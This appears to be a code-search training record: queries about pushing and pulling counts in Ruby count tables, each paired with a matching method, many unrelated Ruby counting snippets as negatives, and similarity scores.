[ "0.6598435", "0.645354", "0.6391928", "0.6326121", "0.6297932", "0.62318087", "0.6225296", "0.6220375", "0.6154763", "0.6126146", "0.6109078", "0.6086364", "0.6078728", "0.605098", "0.5980493", "0.5888469", "0.5883405", "0.5768054", "0.5748424", "0.57231975", "0.5715154", "0.5712805", "0.56895864", "0.56830436", "0.5668467", "0.56673586", "0.56626", "0.56509584", "0.5632636", "0.56155527", "0.55997974", "0.55995584", "0.55658865", "0.55593437", "0.55294627", "0.552557", "0.5506555", "0.5502326", "0.54879856", "0.54853415", "0.5471248", "0.54633725", "0.54535353", "0.5449055", "0.5439171", "0.5439171", "0.5426106", "0.5407857", "0.54041845", "0.5390157", "0.53896195", "0.5387078", "0.53825074", "0.535508", "0.53475165", "0.53342706", "0.532814", "0.5328007", "0.5328007", "0.53241765", "0.5319546", "0.5316478", "0.5310636", "0.531042", "0.531042", "0.52885646", "0.52885103", "0.5278364", "0.52737176", "0.5268577", "0.52598166", "0.5254884", "0.525302", "0.52340335", "0.52328455", "0.52328455", "0.52294207", "0.52259505", "0.52198905", "0.5218268", "0.52088165", "0.5202224", "0.5195614", "0.5191115", "0.51868063", "0.5184885", "0.5165255", "0.5162417", "0.51578516", "0.5157203", "0.51525253", "0.5151023", "0.5149659", "0.51483506", "0.5146111", "0.51442266", "0.5138718", "0.5132053", "0.51211596", "0.51186496" ]
0.6231815
5
pull counts of c_i^d
def pull(_d, _i) c = @c[_d][_i] # pull from @Cp @Cp[_d][c] -= 1 # pull from @Ce vkey = Array.new(@d){|d| 0} vkey[_d] = _i begin ckey = vkey2ckey(vkey) @Ce[ckey][ @A[vkey] ] -= 1 end while (vkey = succ_vkey_d(vkey, _d)) != nil @c[_d][_i] = nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def value_counts\n values = @data.each_with_object(Hash.new(0)) do |d, memo|\n memo[d] += 1\n end\n\n Daru::Vector.new(values)\n end", "def nucleotide_counts\n hash = {}\n @valid_inputs.each do |i|\n hash[i] = @dna.count i\n end\n hash\n end", "def count(r)\n c = Hash.new(0)\n r.each { |z| c[z] += 1}\n c\nend", "def accum_counts(counts)\n each_byte do |b| counts[b - ?a] += 1 if b >= ?a && b <= ?z end\n end", "def counts\n {\n \"A\" => 0,\n \"G\" => 0,\n \"C\" => 0,\n \"T\" => 0\n }\n end", "def occurences_count\n\t\t\t\t\t\tHash.new(0).tap do |result|\n\t\t\t\t\t\t each { |item| result[item] += 1 }\n\t\t\t\t\t\tend\n\t\t\t\tend", "def countingValleys(n, s)\n vcount = 0\n level = 0\n n.times do |i|\n if s[i] == \"U\"\n level +=1\n vcount +=1 if level == 0\n elsif s[i] == \"D\"\n level -=1\n end\n end\n return vcount \nend", "def residue_count\n counted = []\n # N-terminal\n n_term = @seq[0].chr\n if PK[:nterm].key? n_term.to_sym\n counted << {\n :num => 1,\n :residue => n_term.to_sym,\n :pK => PK[:nterm][n_term.to_sym],\n :positive => positive?(n_term)\n }\n elsif PK[:normal].key? n_term.to_sym\n counted << {\n :num => 1,\n :residue => n_term.to_sym,\n :pK => PK[:normal][n_term.to_sym],\n :positive => positive?(n_term)\n }\n end\n # Internal\n tmp_internal = {}\n @seq[1,(@seq.length-2)].each_byte do |x|\n aa = x.chr.to_sym\n if PK[:internal].key? aa\n if tmp_internal.key? aa\n tmp_internal[aa][:num] += 1\n else\n tmp_internal[aa] = {\n :num => 1,\n :residue => aa,\n :pK => PK[:internal][aa],\n :positive => positive?(aa.to_s)\n }\n end\n end\n end\n tmp_internal.each do |aa, val|\n counted << val\n end\n # C-terminal\n c_term = @seq[-1].chr\n if PK[:cterm].key? c_term.to_sym\n counted << {\n :num => 1,\n :residue => c_term.to_sym,\n :pK => PK[:cterm][c_term.to_sym],\n :positive => positive?(c_term)\n }\n end\n counted\n end", "def symbolic_count(count); end", "def countingValleys(n, s)\n valleysNum = 0\n level = 0\n s.each_char do | step |\n step == \"D\" ? level -= 1 : level += 1\n valleysNum += 1 if (level == 0 && step == \"U\")\n end\n p valleysNum\nend", "def nb_dig(n, d)\n #create an array of sqaures from d up to and including n\n numbers = (d..n).to_a\n #issue was here: should've made the range 0..n instead of d..n\n squares = numbers.map do |num|\n num * num\n end\n #for each square...\n count = 0\n binding.pry\n squares.each do |square|\n #count and add to a tally if d is present\n count += square.to_s.count(d.to_s)\n end\n #turn it into a string\n #return the tally\n count\nend", "def chromosome_count(genome_array)\n ccount = Hash.new(0)\n genome_array.each {|entry| ccount[entry[1]] += 1}\n ccount.each {|chromosome, count| puts \"Chromosome \" + chromosome.to_s + \" has \" + count.to_s + \" SNP data points\" }\n total = 0\n ccount.values.each {|count| total+= count }\n puts \"----\"\n puts total.to_s + \" total data points\"\n return ccount\nend", "def four_sum_count(a, b, c, d)\n result = 0\n cached_ab_sum = {}\n 0.upto(a.size - 1) do |pa|\n 0.upto(b.size - 1) do |pb|\n cached_ab_sum[a[pa] + b[pb]] ||= []\n cached_ab_sum[a[pa] + b[pb]] << [pa, pb]\n end\n end\n\n 0.upto(c.size - 1) do |pc|\n 0.upto(d.size - 1) do |pd|\n findings = cached_ab_sum[-(c[pc] + d[pd])]\n result += findings.size if findings\n end\n end\n\n result\nend", "def count()\n count = 0\n # skip digit 0\n (1..(ALL_DIGITS-1)).each do |i|\n if (@data[i])\n count += 1\n end\n end\n count\n end", "def count_nucleotides(data)\n ['A', 'C', 'G', 'T'].map {|nucleotid| data.count(nucleotid)} * ' '\nend", "def aes_popcount(x)\n x -= (x >> 1) & M1\n x = (x & M2) + ((x >> 2) & M2)\n x = (x + (x >> 4)) & M4\n x += x >> 8\n (x + (x >> 16)) & 0x3f\n end", "def densities\n\t\t\tmap { |n| count n }\n\t\t end", "def total_card_combs(star_counter)\n c = 0\n star_counter.each { |num_of_stars| c += prmutation(5) * cmbnation(num_of_stars) if num_of_stars > 4 }\n return c\nend", "def stat\n each_with_object(Hash.new(0)) { |c, o| o[c] += 1 }\n end", "def nb_dig(n, d)\n counter = 0\n string_of_squares(n).split(\"\").each { |c| counter += 1 if d == c.to_i }\n counter\nend", "def bc_count\n \t@generic.size + @initial.size + @final.size + @cyclic.size\n end", "def gc\n s = codons.map { |c| c.nuc_codon[2] }.join\n ((s.count('G')+s.count('C')).to_f/codons.count).round(4)\n end", "def counter_effect(hit_count)\n hits = []\n digits = hit_count.split(\"\").map {|num| num.to_i}\n digits.each do |digit|\n \tcurrent_values = []\n \tfor num in 0..digit\n \t\tcurrent_values.push(num)\n \tend\n \thits.push(current_values)\n end\n return hits\nend", "def size_v(data)\n\t\tcounts = data[:counts].values\n\t\tcounts.map{|i|[(Math.log(i+1) * 15) ** 1.6] * 2}\n\tend", "def count()\n\n puts 'inside count'.info if @debug\n\n cmd 'CPMS?' do |r|\n puts 'r: ' + r.inspect if @debug\n total = r.lines[2].split(',')[1].to_i\n puts ('message count: ' + total.to_s).debug if @debug\n\n total\n end\n \n end", "def counts\n count = Hash.new(0)\n self.each{|ele| count[ele] += 1}\n count\n end", "def count(chr = nil, start = nil, stop = nil) \n num = 0\n self.each(chr, start, stop) { |entry| num += 1 }\n num\n end", "def countingValleys(n, s)\n level = valleys = 0\n s.each_char do |step|\n valleys +=1 if level==0 && step =='D'\n level = step == 'D' ? level-1 : level+1\n end\n valleys\nend", "def counts(state)\n counts = {'' => 1}\n state = state.split(\"\") if state.kind_of?(String)\n state.each do |char|\n counts.keys.each do |key|\n if key.count(char) == 0\n key_char = key + char\n counts[key_char] = (counts[key_char] || 0) + counts[key]\n end\n end\n end\n counts\nend", "def print_centralities\n values = @counters.all_counters\n .map(&:centrality)\n .map(&:to_i)\n .inject(Hash.new(0)) { |hash, value| hash[value] += 1 ; hash }\n\n values.each do |value|\n puts value.join(',')\n end\n end", "def frequencies\n inject(Hash.new(0)) { |h,v| h[v] += 1; h }\n end", "def flat_counts\n count_hash = Hash.new { |h,k| h[k] = 0 }\n\n @board.each_with_object(count_hash) do |row, counts|\n row.each do |cell|\n counts[:white] += 1 if cell.last == 'w'\n counts[:black] += 1 if cell.last == 'b'\n end\n end\n end", "def cycle_count\n put('o^')\n get.strip.to_i\n end", "def count(stat, count, sample_rate=1); send stat, count, 'c', sample_rate end", "def estimate_layer_counts(board_size, max_exponent)\n num_cells = board_size**2\n i_max = max_exponent - 2\n max_sum = num_cells * 2**i_max\n table = count_compositions(max_sum, num_cells, 0, i_max)\n table.map.with_index do |row, index|\n sum = (index + 1) * 2\n counts = row.map.with_index do |count_k, i|\n k = i + 1\n count_k * choose(num_cells, k)\n end\n [sum, counts.sum]\n end\nend", "def counter_effect(hit_count)\n hit_count.chars.map { |i| (0..i.to_i).to_a }\nend", "def disc_count\n @ole.DiscCount\n end", "def count_dna dna\n DNA.keys.map { |nt| dna.count nt }\n end", "def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end", "def counts\r\n @counts\r\n end", "def counters\n return @counters if @counters\n return [] unless random?\n\n percounter = template.max / (@max_counters || Noid::MAX_COUNTERS) + 1\n t = 0\n @counters = []\n\n while t < template.max\n counter = {}\n counter[:value] = t\n counter[:max] = [t + percounter, template.max].min\n\n t += percounter\n\n @counters << counter\n end\n\n @counters\n end", "def f(n,d) # returns total number of times d shows up in range 0..n including n\n total = 0\n (n+1).times do |k|\n total += k.to_s.count(d.to_s)\n end\n return total\nend", "def codon_usage\n rewind\n\n total_usage = {}\n\n each do |e|\n Bio::Sequence::NA.new(e.seq).codon_usage.each do |c, count|\n aa = Bio::Sequence::NA.new(c).translate\n total_usage[aa] ||= {}\n total_usage[aa][c.upcase] ||= 0\n total_usage[aa][c.upcase] += count\n end\n end\n\n rewind\n\n total_usage\n end", "def inmj\n result = 0\n (1..9).each do |base|\n exponent = 1\n while (intGetLengthInt(base ** exponent) == exponent)\n result += 1\n exponent += 1\n end\n end\n result\nend", "def count_occurrences(input)\n occurrences = Hash.new(0.0)\n\n last_char_read = nil\n\n input.each_char do |char|\n occurrences[last_char_read + char] += 1 if last_char_read != nil\n last_char_read = char\n end\n\n occurrences\n end", "def count(chr = nil, start = nil, stop = nil)\n num = 0\n self.each(chr, start, stop) { |entry| num += 1 }\n return num\n end", "def get_ic_count (access, item_type)\n q = \"SELECT H_id, H_count FROM holdings_H_counts WHERE member_id = ? AND access = ? AND item_type = ?\";\n pq = @@conn.prepare(q);\n h_counts = {1 => 0};\n pq.enumerate(@member_id, access, item_type) do |row|\n h_counts[row[:H_id].to_i] = row[:H_count].to_i;\n end\n\n return h_counts;\n end", "def get_ic_count (access, item_type)\n q = \"SELECT H_id, H_count FROM holdings_H_counts WHERE member_id = ? AND access = ? AND item_type = ?\";\n pq = @@conn.prepare(q);\n h_counts = {1 => 0};\n pq.enumerate(@member_id, access, item_type) do |row|\n h_counts[row[:H_id].to_i] = row[:H_count].to_i;\n end\n\n return h_counts;\n end", "def count_signs\n # suskaiciuojami visi zenklai\n temp = 0\n @signs.size.times do |i|\n temp += 1 if @signs[i] != 0\n end\n temp\n end", "def count_ude(g)\n @ude_counter['u'] = zeros\n zeros_v = []\n @l.each do |k,v|\n \tzeros_v << k if v == 'inf'\n end # do\n d_v_counter = 0\n zeros_v.each do |zv|\n\tno_follower_labeled_zero = true\n \tg.adjacent_vertices(zv).each do |v|\n \t\tno_follower_labeled_zero = false if @l[v] == '0'\n \tend # do\n \td_v_counter +=1 if no_follower_labeled_zero\n end # do\n @ude_counter['d'] = d_v_counter\n @ude_counter['e'] = g.num_vertices - @ude_counter['u'] - @ude_counter['d']\n end", "def num_carbon\n @num_carbon ||= total_atoms :C\n end", "def calculate_word_count\n 0x0C\n end", "def ctwob(s)\n n, sl = 0, s.length - 1\n 0.upto(sl) {|i|\n n += s[i].ord * 0x100 ** (sl - i)\n }\n n\n end", "def zeros\n counter = 0\n @l.each_value do |v|\n\tcounter +=1 if v == '0'\n end # do\n counter\n end", "def correlation_count_deviance\n c = []; d = []\n get_all_tokens.each do |token|\n\tc.push( get_token_total( token ) )\n\td.push( get_token_deviance( token ) )\n end\n return [c,d]\n end", "def count_bits(n)\n # TODO: Program me\n result_arr = []\n\n while n > 0 do \n result_arr << n % 2\n n /= 2\n end\n result_arr.select { |i| i == 1 }.count\nend", "def count_bits(n)\nn = n.to_s(2)\nn = n.split(\"\")\nn = n.map{|x| x.to_i}\nn.inject(:+)\nend", "def num_comp\n @c_index\n end", "def return_total_char_count(catalogue)\n total = 0\n catalogue.each_value { |value| total += value }\n total\nend", "def line_count_experiment\n @letters_two.dump\n lines = @letters_two.xlate(@line_count_map)\n lines << @extra_digits\n lines.flatten!\n lines.dump('append')\n lines.chunk(2).to_i.collect { |d| d.to_s(5) }.dump(:from_base_5).to_i.to_letter\nend", "def get_IR_by_count(inst_cnt) \n incon, sample_size = 0.0, 0.0\n \n inst_cnt.values.each do |hcnt|\n cnt = hcnt.values\n incon += cnt.sum-cnt.max\n sample_size += cnt.sum\n end\n \n # inconsistency rate\n (sample_size.zero?) ? 0.0 : incon/sample_size\n end", "def count_nucleotides( input )\n\n bases = {\n \"A\" => 0,\n \"C\" => 0,\n \"G\" => 0,\n \"T\" => 0,\n }\n\n dna = [ ]\n\n input.upcase.chars.each do | letter |\n if bases.key? letter\n bases[ letter ] +=1 # if letter matches than start the counter\n else\n dna.push \"#{ letter } is not a nucleotide.\" # if letter is not a match then saves letter and states that in output\n end\n\n\n end #input.chars\n\n bases.each do | key, value |\n dna.push \"#{ key }, #{ value }\"\n end\n\n puts dna\n # puts bases\n end", "def count_nucleotides dna\n bases_count = {\n 'A' => 0,\n 'C' => 0, \n 'T' => 0,\n 'G' => 0,\n }\n \n \n #\n dna.each_char do |x|\n if bases_count.key? base\n bases_count[ base ] += 1\n else \n puts \"#{base} not a valid nucleotide\"\n end # if\n end # DNA.each_char end\n\n bases_count.each do |key, val|\n puts \"#{key} : #{val}\"\n end #bases_count.each end\n \n\nend", "def part1()\n @seats = @input.map(&:dup)\n until rules_part1() == 0\n end\n count = 0\n @seats.each { |row| count += row.count('#') }\n count\nend", "def count_distinct(input, window)\n counter = 0\n len = 0\n elems = {}\n output = []\n input.each do |elem|\n counter2 = counter + 1\n sum = 1\n elems = {}\n elems[elem] = 1\n win = window - 1\n while counter2 < input.size && win > 0\n unless elems.key?(input[counter2])\n sum += 1\n elems[input[counter2]] = 1\n end\n counter2 += 1\n win -= 1\n end\n if win == 0\n p elems\n p sum\n end\n counter += 1\n end\nend", "def bitcount(key, start = T.unsafe(nil), stop = T.unsafe(nil)); end", "def inc_c\n end", "def count\n self.wordcounts.map(&:count).inject(0, :+)\n end", "def count\n lib.tcidbrnum( @db )\n end", "def countingValleys(n, s)\n valleys = 0\n pre = 0\n ac = 0\n for i in 0..n\n pre = ac\n ac += val(s[i]) \n valleys +=1 if pre == -1 && ac == 0\n end\n return valleys\nend", "def build_ncount\n Matrix.build(rows, cols) do |row, col|\n count = 0\n 3.times do |row_off|\n 3.times do |col_off|\n count += matrix[row + row_off, col + col_off]\n end\n end\n count - matrix[row + 1, col + 1]\n end\n end", "def hidratos_carbono\r\n hc = 0\r\n @lista_alimentos.each do |i|\r\n hc += i.carbohidratos\r\n end\r\n return hc\r\n end", "def run_decode(char_counts)\n char_counts\n .map{|char, count| char * count}\n .join\nend", "def countingValleys(n, s)\n level = 0\n valley = 0\n s.each_char do |direction|\n if level == 0 && direction == 'D'\n valley += 1 \n end\n\n if direction == 'D'\n level -= 1\n else\n level += 1\n end\n end\n return valley\nend", "def label_and_counter(g)\n ### il ciclo va ripetuto finché in @unlabeled_v non ci sono vertici che soddisfano le condizioni c1 e c2\n continue = true\n until continue == false\n continue = false\n @unlabeled_v.each do |v| \n\tif (c1?(g,v) and c2?(g,v)) \n\t set_label(v,@i)\n\t @c[v] = @m\n\t @m += 1\n\t continue = true\n\tend # if\n end # do\n end # until\n end", "def find_digits_count_string_operations(input)\n digits = 0\n n = input.to_i\n input.each_char do |c|\n c = c.to_i\n unless c == 0\n q, r = n.divmod(c)\n if r == 0\n digits += 1\n end\n end\n end\n puts digits\nend", "def cveclen(u)\n\tMath.sqrt(u[0,0]**2+u[1,0]**2+u[2,0]**2)\nend", "def injectCalc\n a = Array.new\n a = \"1,1,1,1,1,1,1,1,1,2,3,4\".split(\",\").map { |s| s.to_i }\n b = a.inject(Hash.new(0)) {|h,i| h[i] += 1; h }\n b.to_a.each {|error,count| puts \"#{count}: #{error}\" }\n end", "def count_blacks\r\n black_count = Hash.new(0)\r\n code.length.times { |i| black_count[code[i]] += 1 if code[i] == guess[i] } ## DRT\r\n black_sum = 0\r\n black_count.each { |k,v| black_sum += v }\r\n black_sum\r\n end", "def count_compositions(n_max, k_max, i_min = 0, i_max = nil)\n ns = (1..n_max).to_a\n ks = (2..k_max).to_a\n table = ns.map do |n|\n power_of_2?(n) && 2**i_min <= n && (i_max.nil? || n <= 2**i_max) ? [1] : [0]\n end\n ks.each do |k|\n ns.each do |n|\n next if k > n\n i_max_n = i_max || Math.log2(n).floor.to_i\n table[n - 1][k - 1] = (i_min..i_max_n).map do |i|\n n_prev = n - 2**i\n k_prev = k - 1\n k_prev > n_prev ? 0 : table[n_prev - 1][k_prev - 1]\n end.sum\n end\n end\n table\nend", "def count_ops()\n 0\n end", "def climb_count\n self.climbs.inject(0) do |sum, climb|\n sum += climb.block_1 if climb.block_1\n sum += climb.block_2 if climb.block_2\n sum += climb.block_3 if climb.block_3\n sum += climb.block_4 if climb.block_4\n sum\n end\n end", "def find_counts(code)\n find_by_code(code).map { |row| row[1] }.sort.reverse\n end", "def cc_count\n stats = self.association_stats\n stats['cc_conditions'] + stats['cc_loops'] + stats['cc_questions'] +\n stats['cc_sequences'] + stats['cc_statements']\n end", "def raw_count(value)\n @bins[value] || 0\n end", "def total_set\n @field.each_byte.inject(0) { |a, byte| (a += 1; byte &= byte - 1) while byte > 0 ; a }\n end", "def count_chars(file)\n\tch_arr = Hash.new\n\tfile.each_line { |line|\n\t\tline.each_char { |c|\n\t\t\tif(ch_arr[c] == nil)\n\t\t\t\tch_arr[c] = 1\n\t\t\telse\n\t\t\t\tch_arr[c] += 1\n\t\t\tend\n\t\t}\n\t}\n\treturn ch_arr\nend", "def score_freq(cs)\n \" eta\".each_char.map { |c| cs.index(c) || 9999 }.reduce(&:+)\nend", "def count_code(str)\n count_coe = 0\n (str.size - 3).times do |i|\n slice = str[i..(i+1)] + str[(i+3)]\n if slice == \"coe\"\n count_coe += 1\n end\n end\n return count_coe\nend", "def compute_bin_count q\n count = (@data.size / q.to_f).ceil\n count < 2 ? 2 : count\n end", "def ship_count\n count = []\n @rows.each do |row|\n count << row.count('s')\n end\n count.reduce(:+)\n end", "def P_of_c(clazz)\n Math.log(doc_count(clazz).to_f / num_of_docs)\n end", "def counter\n Weed::Stats.by_total({ :bucket_id => id })\n end", "def count_coins(n, c, i=0)\n if (@memoization[[n,i]])\n return @memoization[[n,i]]\n end\n if(n < 0 || i >= c.length)\n return 0\n end\n if(n == 0)\n return 1\n end\n @memoization[[n,i]] = count_coins(n-c[i], c, i) + count_coins(n, c, i + 1)\n @memoization[[n, i]]\nend", "def count(i,d,set)\n\tif i==-1\n\t\treturn 0\n\telsif i>set.length-1\n\t\treturn 0\n\tend\n\tdif =(set[i]-set[i+d]).abs\n\tif dif >=1 && dif<=2\n\t\treturn count(i+d,d,set)+1\n\telse\n\t\treturn 1\n\tend\n\t\t\nend", "def empty_counter\n counts = {}\n ('a'..'z').each {|letter| counts[letter] = 0}\n counts\n end", "def total_orbit_count(orbit_map)\n count = 0\n orbit_map.each{|satellite, _|\n central_objects = orbit_count(orbit_map, satellite)\n # puts \"Satellite %s orbits %d objects\" % [satellite, central_objects]\n count += central_objects\n }\n count\nend", "def countIt(n)\n\n vals = {0=>1, 1=>0, 2=>0, 3=>0, 4=>0, 5=>0,\n 6=>1, 7=>0, 8=>2, 9=>1}\n\n n.to_s.chars.map(&:to_i).collect{|v| vals[v]}.inject(0){|x, sum| x + sum }\n\nend", "def repeat_counts\n repeats.values.map &:count\n end", "def count\n @symbols.count\n end", "def checkSum\n h = Hash.new\n # get the counts of each character\n (0..@value.length - 1).each do |idx|\n char = @value[idx]\n h[char] = h.fetch(char,0) + 1\n end\n h.delete(\"-\")\n h.sort_by{|k,v| [-v,k]}.to_h.keys.join[0..4]\n end" ]
[ "0.6221522", "0.60579544", "0.59308094", "0.5926389", "0.5891223", "0.58639765", "0.5863213", "0.58004236", "0.5788489", "0.5787701", "0.5784478", "0.57788604", "0.57771915", "0.57741016", "0.57190967", "0.5714841", "0.569104", "0.56842476", "0.5672665", "0.5663135", "0.5643819", "0.56365687", "0.56284773", "0.5615095", "0.5614233", "0.5596425", "0.559636", "0.5582469", "0.55665207", "0.5564397", "0.5549866", "0.55441415", "0.5537118", "0.5526916", "0.55110663", "0.5510585", "0.54908335", "0.54898036", "0.54888624", "0.5488703", "0.5484645", "0.54703027", "0.5468764", "0.54668564", "0.5460286", "0.544849", "0.5444018", "0.5444018", "0.5440283", "0.5438776", "0.5418245", "0.5417813", "0.5410599", "0.539913", "0.5390602", "0.5383864", "0.53825265", "0.53824484", "0.53820544", "0.5382037", "0.53717905", "0.53641146", "0.5355217", "0.53498805", "0.5344605", "0.53434587", "0.53418654", "0.53354275", "0.53351796", "0.53319204", "0.5330324", "0.5329695", "0.5329064", "0.53278446", "0.5325625", "0.53254396", "0.5321568", "0.5320358", "0.5319883", "0.53196865", "0.5310394", "0.530507", "0.5303649", "0.529999", "0.52976084", "0.52880424", "0.5283762", "0.52793026", "0.52722025", "0.5260153", "0.52558255", "0.5253827", "0.52522516", "0.5250864", "0.52453804", "0.52367103", "0.5235529", "0.5234342", "0.52332795", "0.5231749", "0.52274114" ]
0.0
-1
push counts of c_i^d = k
def push(_d, _i, _k) abort("invalid push") if @c[_d][_i] != nil @c[_d][_i] = _k # push to @Cp @Cp[_d][_k] += 1 # push to @Ce vkey = Array.new(@d){|d| 0} vkey[_d] = _i begin ckey = vkey2ckey(vkey) @Ce[ckey][ @A[vkey] ] += 1 end while (vkey = succ_vkey_d(vkey, _d)) != nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def count(r)\n c = Hash.new(0)\n r.each { |z| c[z] += 1}\n c\nend", "def accum_counts(counts)\n each_byte do |b| counts[b - ?a] += 1 if b >= ?a && b <= ?z end\n end", "def value_counts\n values = @data.each_with_object(Hash.new(0)) do |d, memo|\n memo[d] += 1\n end\n\n Daru::Vector.new(values)\n end", "def counting_sort(arr, k)\n\t# auxiliary array\n\tc = []\n\t# resulting array\n\tb = []\n\t# set all in aux to 0\n\tfor i in 0..k\n\t\tc[i] = 0\n\tend\n\t# get count of each number\n\tarr.each do |i|\n\t\tc[i] += 1\n\tend\n\t# get number of smaller or equal to number at i index\n\t# by keeping a sum\n\tfor i in 1..k\n\t\tc[i] = c[i] + c[i-1]\n\tend\n\t# sort\n\tj = arr.length-1\n\twhile j >= 0\n\t\tb[c[arr[j]]-1] = arr[j]\n\t\tc[arr[j]] -= 1\n\t\tj -= 1\n\tend\n\tb\nend", "def counting_sort(input, k)\n counts = Array.new(k+1)\n sorted = Array.new(input.size)\n (0..k).each { |i| counts[i] = 0 }\n # set counts [i] to the number of elements equal to i\n input.each { |element| counts[element] += 1 }\n # to preserve STABILITY we actually have to\n # track the less than or equal counts and\n # use the input array, however if we were just sorting\n # integers, (or things we don't care about for stability)\n # we could just iterate the counts from large to small\n # and output that many elements of i to the end of the output array\n\n # set counts[i] to the number of elements in input <= i\n (1..k).each { |i| counts[i] += counts[i-1] }\n # now lay everything into the output\n (input.size-1).downto(0).each do |index|\n input_elem = input[index]\n counts_elem = counts[input_elem] # ow many elements are less than this?\n # our arrays are zero indexed\n output_index = counts_elem - 1\n sorted[output_index] = input_elem\n counts[input_elem] -= 1\n end\n sorted\nend", "def solution(k, a)\n count = 0\n current = 0\n a.each { |length| \n current += length\n if current >= k\n current = 0\n count += 1\n end\n }\n count\nend", "def count_num_times(arr, k)\n # base case:\n return 0 if arr.empty?\n\n count_num_times(arr, k - arr.first) +\n count_num_times(arr.shift, k)\nend", "def solve(n, k)\n k.times do\n nums.push(nums.shift)\n end\n return nums\nend", "def four_sum_count(a, b, c, d)\n result = 0\n cached_ab_sum = {}\n 0.upto(a.size - 1) do |pa|\n 0.upto(b.size - 1) do |pb|\n cached_ab_sum[a[pa] + b[pb]] ||= []\n cached_ab_sum[a[pa] + b[pb]] << [pa, pb]\n end\n end\n\n 0.upto(c.size - 1) do |pc|\n 0.upto(d.size - 1) do |pd|\n findings = cached_ab_sum[-(c[pc] + d[pd])]\n result += findings.size if findings\n end\n end\n\n result\nend", "def succ_ckey_d(_ckey, _d)\n for d in 0..@d-1\n next if d == _d\n if _ckey[d] < @n[d]-1\n _ckey[d] += 1\n return _ckey\n else\n _ckey[d] = 0\n end\n end\n return nil\n end", "def solve(nums, k)\n k.times do\n nums.push(nums.shift)\n end\n return nums\nend", "def find_pairs(nums, k)\n return 0 if k < 0\n hash = {}\n count = 0\n nums.each do |num|\n if hash[num]\n if k == 0 && hash[num] == 1\n count += 1\n end\n hash[num] += 1\n else\n if hash[num - k]\n count += 1\n end\n if hash[num + k]\n count += 1\n end\n hash[num] = 1\n end\n end\n count\nend", "def occurences_count\n\t\t\t\t\t\tHash.new(0).tap do |result|\n\t\t\t\t\t\t each { |item| result[item] += 1 }\n\t\t\t\t\t\tend\n\t\t\t\tend", "def succ_ckey(_ckey)\n for d in 0..@d-1\n if _ckey[d] < @n[d]-1\n _ckey[d] += 1\n return _ckey\n else\n _ckey[d] = 0\n end\n end\n return nil\n end", "def inc_c\n end", "def incc(cat)\n @cc[cat] ||= 0\n @cc[cat] += 1\n end", "def counting_sort_charecters(arr)\n len = arr.size\n output = Array.new(len, 0)\n count = Array.new(256, 0)\n\n # store the count of each charecter\n for i in 0...len\n count[arr[i].ord] += 1\n end\n\n # change count[i] so that count[i] now contains\n # actual position of the charecter\n for i in 1...256\n count[i] += count[i-1]\n end\n\n (len-1).downto(0) do |i|\n output[count[arr[i].ord] - 1] = arr[i]\n count[arr[i].ord] -= 1 \n end\n\n output\nend", "def frequencies\n inject(Hash.new(0)) { |h,v| h[v] += 1; h }\n end", "def count_by(x, n)\n a=[]\n y=0\n n.times {y+=x; a<<y}\n a\nend", "def count(n,ar)\r\n result = Array.new(100){|x| x = 0}\r\n ar.each { |x| result[x] = result[x]+1 }\r\n return result\r\nend", "def estimate_count\n -(m / k.to_f) * Math.log(1 - (filter.cardinality / m.to_f))\n end", "def countTriplets(arr, r)\n double = {}\n triple = {}\n counter = 0\n\n arr.each do |c|\n counter += triple[c] if triple.has_key?(c)\n\n if double.has_key?(c)\n if triple.has_key?(c*r)\n triple[c*r] += double[c]\n else\n triple[c*r] = double[c]\n end\n end\n\n if double.has_key?(c*r)\n double[c*r] += 1\n else\n double[c*r] = 1\n end\n end\n counter\nend", "def bc_count\n \t@generic.size + @initial.size + @final.size + @cyclic.size\n end", "def bitcount(key, start = T.unsafe(nil), stop = T.unsafe(nil)); end", "def solution(a)\n h = {}\n a.each do |num|\n h[num] ? h[num] += 1 : h[num] = 1\n end\n h.keys.count\nend", "def ukp_rec(ukpi)\n c = ukpi[:c]\n items = ukpi[:items]\n\n memo = Array.new(c+1, nil)\n items = items.sort_by { | i | i[:w] }\n\n ukp_aux(items, c, memo)\n\n memo\nend", "def pairs(k, arr)\n # set = Set.new(arr)\n set = arr.to_h { |num| [num, true] }\n\n result = 0\n arr.each do |num|\n target = num + k\n if set.include?(target)\n result += 1\n end\n end\n\n result\nend", "def count_bags(color, data)\n data[color].to_a.map do |color, count|\n count + count * count_bags(color, data)\n end.sum\nend", "def workbook(n, k, arr)\r\n # Write your code here\r\n sp = 0\r\n count = 0\r\n arr.each do |range|\r\n remainingArray = Array(1..range)\r\n until (remainingArray.empty?)\r\n count += 1\r\n x = remainingArray.slice!(0,k)\r\n sp +=1 if (x.include?count)\r\n end\r\n end\r\n return sp\r\nend", "def subarray_sum(nums, k)\n\n hash = {0 => 1}\n sum = 0\n count = 0\n\n for num in nums\n sum += num\n count += hash[sum - k] if !hash[sum -k].nil?\n hash[sum] ||= 0\n hash[sum] += 1\n end\n count\nend", "def count_coins(n, c, i=0)\n if (@memoization[[n,i]])\n return @memoization[[n,i]]\n end\n if(n < 0 || i >= c.length)\n return 0\n end\n if(n == 0)\n return 1\n end\n @memoization[[n,i]] = count_coins(n-c[i], c, i) + count_coins(n, c, i + 1)\n @memoization[[n, i]]\nend", "def divisibleSumPairs(n, k, ar)\n # Complete this function\n count = 0;\n (0...n-1).each do |i|\n (i+1...n).each do |j|\n count += 1 if (ar[i] + ar[j]) % k == 0\n end\n end\n\n count;\nend", "def increment(counts)\n counts.keys.each do |word|\n @counts[word] += counts[word]\n end\n end", "def calc_k(n, g)\n H(n, n, g)\n end", "def symbolic_count(count); end", "def label_and_counter(g)\n ### il ciclo va ripetuto finché in @unlabeled_v non ci sono vertici che soddisfano le condizioni c1 e c2\n continue = true\n until continue == false\n continue = false\n @unlabeled_v.each do |v| \n\tif (c1?(g,v) and c2?(g,v)) \n\t set_label(v,@i)\n\t @c[v] = @m\n\t @m += 1\n\t continue = true\n\tend # if\n end # do\n end # until\n end", "def onlogn(input, k)\n input.group_by(&:to_s).sort { |(word, values), (another_word, another_values)| [values.count, another_word] <=> [another_values.count, word] }.reverse.first(k).map(&:first)\n end", "def cvi\n push pop.to_i\n end", "def chromosome_count(genome_array)\n ccount = Hash.new(0)\n genome_array.each {|entry| ccount[entry[1]] += 1}\n ccount.each {|chromosome, count| puts \"Chromosome \" + chromosome.to_s + \" has \" + count.to_s + \" SNP data points\" }\n total = 0\n 